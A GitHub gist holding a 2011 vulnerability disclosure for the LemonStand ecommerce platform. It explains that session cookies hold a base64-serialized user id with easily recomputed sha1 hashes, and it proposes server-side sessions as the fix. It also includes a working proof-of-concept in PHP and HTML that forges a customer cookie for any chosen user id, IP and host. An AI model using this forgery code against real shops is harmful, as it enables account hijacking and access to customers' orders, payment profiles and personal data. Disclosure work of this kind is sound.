Skip to content

Instantly share code, notes, and snippets.

@EHLOVader
Last active October 7, 2023 17:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save EHLOVader/7851a055454f1749e922 to your computer and use it in GitHub Desktop.
Save EHLOVader/7851a055454f1749e922 to your computer and use it in GitHub Desktop.
Lemonstand vulnerability report: Customer session injection/hijacking

Security Vulnerability Disclosure Report

Session injection/hijacking LemonStand ecommerce platform

Originally reported by Joseph Richardson @EHLOVader on 2011-11-30 disclosure policy (RFv2.0)

WHAT

A session injection/hijacking vulnerability through cookie manipulation

AFFECTED SYSTEMS

Lemonstand specific

DESCRIPTION

As the cookie stores the userid after initial authentication, along with some easily reproducible verification hashes, a cleverly crafted cookie could be used to create an authorized session as the customer without ever having been authenticated.

Here you see the cookie contents:

YTo1OntzOjQ6InVzZXIiO3M6NDoiTWc9PSI7czo3OiJpc3N1ZWR0IjtzOjI0OiJOaTR6TkRVNE1qazVORGM0UlNzeE53PT0iO3M6MjoiY3MiO3M6NDA6ImRkZTM4ZTBmMzdiMDUyYmM2YWVlZGIxMDNmMDA0NzcyZjA5ZGNmZTIiO3M6Mzoia2V5IjtzOjQwOiJkZmVjMTE4ODUwYWViZjFmMmM5OGY5NjkyOTE3YzMyMmQwYmQzMTgwIjtzOjQ6Imhvc3QiO3M6MTM6ImVobG92YWRlci5jb20iO30%3D

Decoding the URL encoding, and then base 64, it is a familiar serialized php string

a:5:{s:4:"user"; 
       s:4:"Mg==";
       s:7:"issuedt"; 
       s:24:"Ni4zNDU4Mjk5NDc4RSsxNw=="; 
       s:2:"cs"; 
       s:40:"dde38e0f37b052bc6aeedb103f004772f09dcfe2";  
       s:3:"key"; 
       s:40:"dfec118850aebf1f2c98f9692917c322d0bd3180"; 
       s:4:"host"; 
       s:13:"ehlovader.com"; 
}

If you take the above into its parts. you end up with this:

%YAML 1.2
--- 
user: 2 
issuedt: 6.3458299478E+17 
cs: sha1 of the above two values encoded then concatinated 
key: sha1 of the user's IP concatinated with above user value (no encoding) 
host: the hostname you are making the request to

As you can see, all of the above information is available to the user or malicious user at request time. This sort of cookie can be forged easily, tricking the system into giving you access the provided user id had, either to bought products, saved payment profiles, parts of the backend (if backend is also affected) that were limited, and lots of potentially sensitive user information.

PROPOSED FIX

IMHO the data used to identify the user should remain on the server. Using the built in PHP sessions, or a custom built hash_table server side and only hash in the cookie, or simply a hash stored in the cookie, and checked against the session or user table to confirm they are who you expected.

The user should never be trusted, and as such get, post, cookie, files and even headers should all be considered suspect, and either validated, stripped, or otherwise never directly used.

FURTHER READING AND LINKS

POC

This proof of concept was actually done in a lemonstand install on a page.

Pre Action Code

  //set some locals and page vars
  $value = $this->data['value'] = '';
  $id = $this->data['id'] = isset($_POST['id'])?post('id'):$this->customer->id;
  $ip = $this->data['ip'] = isset($_POST['ip'])?post('ip'):Phpr::$request->getUserIp();
  $host = $this->data['host'] = isset($_POST['host'])?post('host'):$_SERVER['SERVER_NAME'];
  //build ticket data
  $Ticket = array();
  $Ticket['user'] = base64_encode( $id);
  $Ticket['issuedt'] = base64_encode( Phpr_DateTime::gmtNow()->getInteger() );
  $Ticket['cs'] =  sha1($Ticket['user'].$Ticket['issuedt']);
  $Ticket['key'] =  sha1($ip.$id);
  $Ticket['host'] = $host;

  //assign ticket for eval
  $this->data['ticket'] = $Ticket;

  //serialize and encode for forged cookie contents
  $value = $this->data['value'] = base64_encode( serialize( $Ticket ) );​

Page Content

<html>
  <head>
    <style  type="text/css">
      
      div 
      {
        vertical-align:top;
      }
      input, textarea
      {
        width:300px;
      }
      textarea
      {
        height:150px;
      }
      label
      {
        font-weight:bold;
        width:140px;
        float:left;
      }
    </style>    
    
  </head>
  <body>
  <div>
    <label>You are:</label>
    <span class='field-wrap'><?=$this->customer->name?></span>
  </div>
  
  <div>
    <label>CS:</label>
    <span class='field-wrap'><?=$ticket['cs']?></span>
  </div>
  <div>
    <label>Key:</label>
    <span class='field-wrap'><?=$ticket['key']?></span>
  </div>
  
  <div>
    <label>Cookie Value is : </label>
    <span class='field-wrap'><textarea><?=urlencode($value)?></textarea></span>
  </div>
  
  <form action="#" method="post">
    <div>
      <label for='id-field'>ID of user:</label>
      <span class='field-wrap'><input id='id-field' name="id" value="<?=$id?>"></span>
    </div>
    <div>
      <label for='host-field'>HostName:</label>
      <span class='field-wrap'><input id='host-field' name="host" value="<?=$host?>"></span>
    </div>
    <div>
      <label for='ip-field'>IP Address:</label>
      <span class='field-wrap'><input id='ip-field' name="ip" value="<?=$ip?>"></span>
    </div>
    
    <button type="submit">create</button>
  </form>
  </body>
</html>​​
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment